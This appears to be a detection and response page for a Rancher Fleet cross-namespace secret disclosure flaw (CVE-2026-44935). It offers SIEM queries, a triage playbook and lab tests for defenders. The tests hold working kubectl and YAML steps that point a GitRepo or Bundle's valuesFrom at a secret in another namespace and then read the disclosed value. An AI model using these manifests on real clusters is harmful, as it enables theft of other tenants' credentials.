Detect Rancher Fleet Cross-Namespace Secret Disclosure via Unvalidated valuesFrom in Helm Deployer (CVE-2026-44935) in IBM QRadar
Detects exploitation of CVE-2026-44935, a critical (CVSS 9.9) vulnerability in Rancher Fleet's Helm Deployer where unvalidated `valuesFrom` references allow a low-privileged user with GitRepo/Bundle creation rights in one namespace to reference and exfiltrate Secret or ConfigMap contents from arbitrary other namespaces, including cluster-admin credentials, cloud provider keys, and Fleet agent tokens. Exploitation involves crafting a GitOps Bundle or GitRepo resource whose Helm `valuesFrom` fields point at a Secret/ConfigMap name in a namespace the attacker does not own; the Fleet controller resolves the reference without namespace/RBAC validation and renders the secret data into Helm values, which are then visible via `helm get values`, Bundle status, or logs. Affected versions: Fleet >= 0.15.0 < 0.15.2, >= 0.14.0 < 0.14.6, >= 0.13.0 < 0.13.11, >= 0.12.0 < 0.12.15. A public PoC/advisory is available; no changes to affected/patched version status have been reported since initial disclosure.
MITRE ATT&CK
QRadar Detection Query
SELECT DATEFORMAT(devicetime,'YYYY-MM-dd HH:mm:ss') AS EventTime, username, "objectRef.namespace" AS TargetNamespace, "objectRef.name" AS ObjectName, "objectRef.resource" AS ResourceType, UTF8(payload) AS RawPayload
FROM events
WHERE logsourcetypename(devicetype) = 'Kubernetes Audit'
AND ("objectRef.resource" ILIKE '%bundle%' OR "objectRef.resource" ILIKE '%gitrepo%')
AND (verb = 'create' OR verb = 'update' OR verb = 'patch')
AND UTF8(payload) ILIKE '%valuesFrom%'
AND UTF8(payload) ILIKE '%secretKeyRef%'
LAST 24 HOURSSearches QRadar for Kubernetes audit events on Fleet Bundle/GitRepo objects that contain Helm valuesFrom secretKeyRef payloads, surfacing candidates for cross-namespace secret disclosure via CVE-2026-44935.
Data Sources
Required Tables
False Positives & Tuning
- Normal Fleet GitOps activity referencing in-namespace secrets
- Scheduled Bundle re-syncs generating repeated valuesFrom payloads
- Security scanning tools that enumerate Bundle specs for compliance checks
Other platforms for CVE-2026-44935
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Cross-Namespace GitRepo with valuesFrom Secret Reference
Expected signal: Kubernetes audit log CREATE event for resource=gitrepos in namespace attacker-ns with requestObject containing valuesFrom.secretKeyRef.namespace=victim-ns; Fleet controller log entries showing resolution of the cross-namespace secret reference.
- Test 2Verify Rendered Helm Values Contain Foreign Namespace Secret Data
Expected signal: BundleDeployment status/spec showing rendered Helm values containing the value 'SUPER-SECRET-VALUE' originating from victim-ns; Helm release history entry in attacker-ns.
- Test 3Attempt valuesFrom ConfigMap Cross-Namespace Reference (Patched Version Negative Test)
Expected signal: On a patched Fleet version: Bundle status condition showing an authorization/validation error and no successful reconciliation; Fleet controller log entry denying the cross-namespace reference. On a vulnerable version: successful reconciliation identical to Test 1.
Response Playbook
Triage
- Identify all Bundle, GitRepo, and BundleDeployment resources cluster-wide with `kubectl get bundles,gitrepos -A -o yaml | grep -B5 valuesFrom` and flag any where the referenced Secret/ConfigMap namespace differs from the resource's own namespace.
- Determine the RBAC scope of the user/service account that created or modified the suspicious Bundle/GitRepo — confirm whether they hold legitimate access to the target namespace or only to their own tenant namespace.
- Inspect Fleet controller logs and Bundle status conditions (`kubectl describe bundle <name> -n <namespace>`) for evidence the valuesFrom resolution succeeded and rendered secret data into the Helm release values.
- Check `helm get values <release> -n <namespace>` and Fleet's rendered manifest ConfigMaps/Secrets for exposed data that originated from a different namespace, confirming actual data exfiltration versus a failed/blocked attempt.
- Cross-reference the timeline against the affected version matrix (Fleet 0.12.x < 0.12.15, 0.13.x < 0.13.11, 0.14.x < 0.14.6, 0.15.x < 0.15.2) to confirm the cluster's Fleet version was vulnerable at the time of the event.
Containment
- Immediately patch Rancher Fleet to a fixed version (>= 0.12.15, >= 0.13.11, >= 0.14.6, or >= 0.15.2) or apply the vendor-recommended admission control mitigation restricting valuesFrom cross-namespace references.
- Revoke or rotate any Secrets (cluster-admin kubeconfigs, cloud provider keys, Fleet agent tokens, registry credentials) confirmed or suspected to have been disclosed via the cross-namespace reference, and audit downstream systems that trusted those credentials.
- Restrict RBAC on GitRepo/Bundle create/update verbs to trusted platform-team service accounts only, removing broad self-service Bundle creation rights from tenant namespaces until the patch is applied.
- Quarantine (suspend reconciliation on) any Bundle or GitRepo identified as malicious by adding a `paused: true` spec field or deleting the resource, and isolate the offending namespace's ability to create new Bundles.
Evidence Collection
- Export the full YAML manifests of all implicated Bundle, GitRepo, and BundleDeployment resources, including their valuesFrom sections and full revision/generation history via `kubectl get bundle <name> -n <namespace> -o yaml --show-managed-fields`.
- Preserve Kubernetes audit logs covering the affected time window for the kube-apiserver, Fleet controller pod logs (`kubectl logs -n cattle-fleet-system deploy/fleet-controller`), and any Helm release history for the tainted release.
- Collect a list of all Secrets and ConfigMaps in the source namespace that were eligible to be referenced, and determine which specific keys were rendered into the exposed Helm values.
- Snapshot RBAC bindings (RoleBindings/ClusterRoleBindings) active at the time of the incident for the identity that created the malicious Bundle/GitRepo, to establish scope of authorized access.
Escalation Criteria
- !Escalate to incident response and rotate cluster-wide credentials immediately if the disclosed secret includes a cluster-admin kubeconfig, cloud provider IAM key, or any credential granting write access outside the originating namespace.
- !Escalate to a full multi-tenant security review if multiple tenant namespaces are found to have successfully exfiltrated secrets from other tenants, indicating systemic exploitation rather than an isolated test.
- !Escalate if exfiltrated credentials show signs of subsequent use (e.g., API calls from unfamiliar source IPs, new resources created using the disclosed identity) outside the Kubernetes cluster.
- !Escalate to legal/compliance if the disclosed Secrets contain regulated data (PII, PCI, credentials tied to customer environments) requiring breach notification.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Bundle/GitRepo/BundleDeployment YAML manifests and their valuesFrom specifications (spec.helm.valuesFrom) - >
Kubernetes audit logs for create/update/patch verbs against bundles, gitrepos, bundledeployments resources - >
Fleet controller pod logs in the cattle-fleet-system namespace - >
Helm release secrets/history (`helm history`, `helm get values`) for releases managed by the affected Bundle - >
RBAC Role/ClusterRole and RoleBinding/ClusterRoleBinding manifests for the identity that authored the malicious resource
Tuning Guidance
Baseline legitimate cross-namespace valuesFrom usage before enabling this in blocking/alerting mode — some organizations intentionally share a common 'fleet-values' or platform namespace across tenants pre-patch. Build an allowlist of approved namespace pairs (e.g., tenant-ns -> shared-config-ns) maintained by the platform team, and only alert on pairs outside that allowlist. After patching to a fixed Fleet version, tighten the rule to alert on ANY cross-namespace valuesFrom reference since the vendor fix enforces RBAC checks and legitimate cross-namespace references should require an explicit RBAC grant recorded separately. Reduce noise by excluding known CI/CD service accounts performing bulk Bundle reconciliation.
Hunting Queries
Broad hunt across all historical Fleet Bundle/GitRepo audit records for any Helm valuesFrom secretKeyRef whose namespace does not match the owning resource's namespace, to retroactively identify prior exploitation of CVE-2026-44935 before detection was deployed.
AKSAuditLogs
| where ObjectRef_Resource in ("bundles","gitrepos")
| where RequestObject has "valuesFrom" and RequestObject has "secretKeyRef"
| extend refNs = extract(@'"namespace"\s*:\s*"([^"]+)"', 1, tostring(RequestObject))
| where isnotempty(refNs) and refNs != ObjectRef_Namespace
| summarize count() by User, ObjectRef_Namespace, refNs, bin(TimeGenerated, 1h)index=kubernetes sourcetype=kube:audit objectRef.resource IN ("bundles","gitrepos") requestObject="*valuesFrom*" requestObject="*secretKeyRef*"
| rex field=requestObject "\"namespace\":\"(?<refNs>[^\"]+)\""
| where refNs!=objectRef.namespace
| stats count by user.username, objectRef.namespace, refNsAtomic Red Team Tests
Creates a Fleet GitRepo resource in a low-privilege test namespace whose Helm valuesFrom references a Secret in a separate, higher-privilege namespace, simulating the core exploitation primitive of CVE-2026-44935 in a lab cluster.
Command
kubectl create namespace attacker-ns --dry-run=client -o yaml | kubectl apply -f -
kubectl create namespace victim-ns --dry-run=client -o yaml | kubectl apply -f -
kubectl -n victim-ns create secret generic sensitive-creds --from-literal=apiKey=SUPER-SECRET-VALUE
cat <<'EOF' | kubectl apply -f -
apiVersion: fleet.cattle.io/v1alpha1
kind: GitRepo
metadata:
name: poc-cross-ns-repo
namespace: attacker-ns
spec:
repo: https://github.com/example/fleet-test-repo
targets:
- clusterSelector: {}
helm:
valuesFrom:
- secretKeyRef:
name: sensitive-creds
namespace: victim-ns
key: apiKey
EOFCleanup
kubectl delete gitrepo poc-cross-ns-repo -n attacker-ns --ignore-not-found
kubectl delete secret sensitive-creds -n victim-ns --ignore-not-found
kubectl delete namespace attacker-ns victim-ns --ignore-not-foundExpected Telemetry
Kubernetes audit log CREATE event for resource=gitrepos in namespace attacker-ns with requestObject containing valuesFrom.secretKeyRef.namespace=victim-ns; Fleet controller log entries showing resolution of the cross-namespace secret reference.
Expected Detection
KQL/SPL rules fire on the audit event due to ObjectRef_Namespace (attacker-ns) differing from the extracted valuesFrom namespace (victim-ns).
After the malicious GitRepo/Bundle reconciles, inspects the resulting Helm release values to confirm the cross-namespace secret data was actually rendered and disclosed, validating successful exploitation for detection tuning.
Command
kubectl get bundledeployments -n attacker-ns
BUNDLE_ID=$(kubectl get bundledeployments -n attacker-ns -o jsonpath='{.items[0].metadata.name}')
kubectl get bundledeployment "$BUNDLE_ID" -n attacker-ns -o yaml | grep -A5 apiKey
helm get values poc-release -n attacker-ns --all 2>/dev/null || echo 'release not yet installed - check bundle status'Cleanup
kubectl delete bundledeployment --all -n attacker-ns --ignore-not-foundExpected Telemetry
BundleDeployment status/spec showing rendered Helm values containing the value 'SUPER-SECRET-VALUE' originating from victim-ns; Helm release history entry in attacker-ns.
Expected Detection
Hunting query and EQL rule flag the BundleDeployment update event; SOAR enrichment step confirms secret content match against known victim-ns secret.
Runs the same cross-namespace valuesFrom technique using a ConfigMap instead of a Secret against a patched Fleet version to validate that the fix rejects the reference, used to confirm remediation effectiveness.
Command
kubectl -n victim-ns create configmap shared-config --from-literal=dbHost=internal-db.victim-ns.svc
cat <<'EOF' | kubectl apply -f -
apiVersion: fleet.cattle.io/v1alpha1
kind: Bundle
metadata:
name: poc-cross-ns-bundle
namespace: attacker-ns
spec:
targets:
- clusterSelector: {}
helm:
valuesFrom:
- configMapKeyRef:
name: shared-config
namespace: victim-ns
key: dbHost
EOF
kubectl describe bundle poc-cross-ns-bundle -n attacker-ns | grep -i -A3 statusCleanup
kubectl delete bundle poc-cross-ns-bundle -n attacker-ns --ignore-not-found
kubectl delete configmap shared-config -n victim-ns --ignore-not-foundExpected Telemetry
On a patched Fleet version: Bundle status condition showing an authorization/validation error and no successful reconciliation; Fleet controller log entry denying the cross-namespace reference. On a vulnerable version: successful reconciliation identical to Test 1.
Expected Detection
Detection rule still fires on the audit CREATE event (attempt detection) regardless of patch status, distinguishing successful exploitation (Test 1/2) from blocked attempts via the Bundle status condition in the alert enrichment.